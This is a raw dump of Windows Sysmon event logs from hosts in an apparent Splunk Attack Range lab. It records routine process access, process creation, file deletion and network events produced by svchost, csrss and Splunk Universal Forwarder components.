14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014084Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014083Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014082Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014081Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014080Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014079Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014078Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6F8F-613B-9F04-00000000F101}3596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014077Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F8F-613B-9F04-00000000F101}3596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014076Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.175{625C326B-6F8F-613B-9F04-00000000F101}3596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014075Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.065{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FABFB9EA2C9D817A77B588E09AD5CCAF,SHA256=6E7B036269B8961130B7DF131A3F06A6B3BC3559FA836658AB37E884074DEF8E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014120Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.426{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50130-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014119Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.674{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8BE549F61628BF5F9804E1C256D4E4CF,SHA256=536B1775126EAEF2B23B9AC3A944E60FE89359300119E65AA50F917F359DC006,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:36.195{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03053AF4CA5302E52C4FD46D54C60131,SHA256=0ED9D291E8CE72546EA7B2245E3FF7676B388359FD698956CD3A321E1851C952,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014118Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.190{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BB2F0484CA15B848CE81AF3D17438A79,SHA256=CEBA699A4045A3A572B44D10E286AAACB7A27FDF887BFCA748D6B1ED3D5E1C09,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014117Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F90-613B-A104-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014116Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014115Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014114Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014113Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014112Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014111Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014110Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014109Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014108Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014107Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F90-613B-A104-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014106Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.174{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F90-613B-A104-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014105Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:36.175{625C326B-6F90-613B-A104-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014121Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:37.706{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33FC79A3CA31B8F8FE2DFE6DE5361296,SHA256=AE939EE4FA5693544C46DB269E60F016082CA2BD1DB661A24A4D8320CB09B874,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 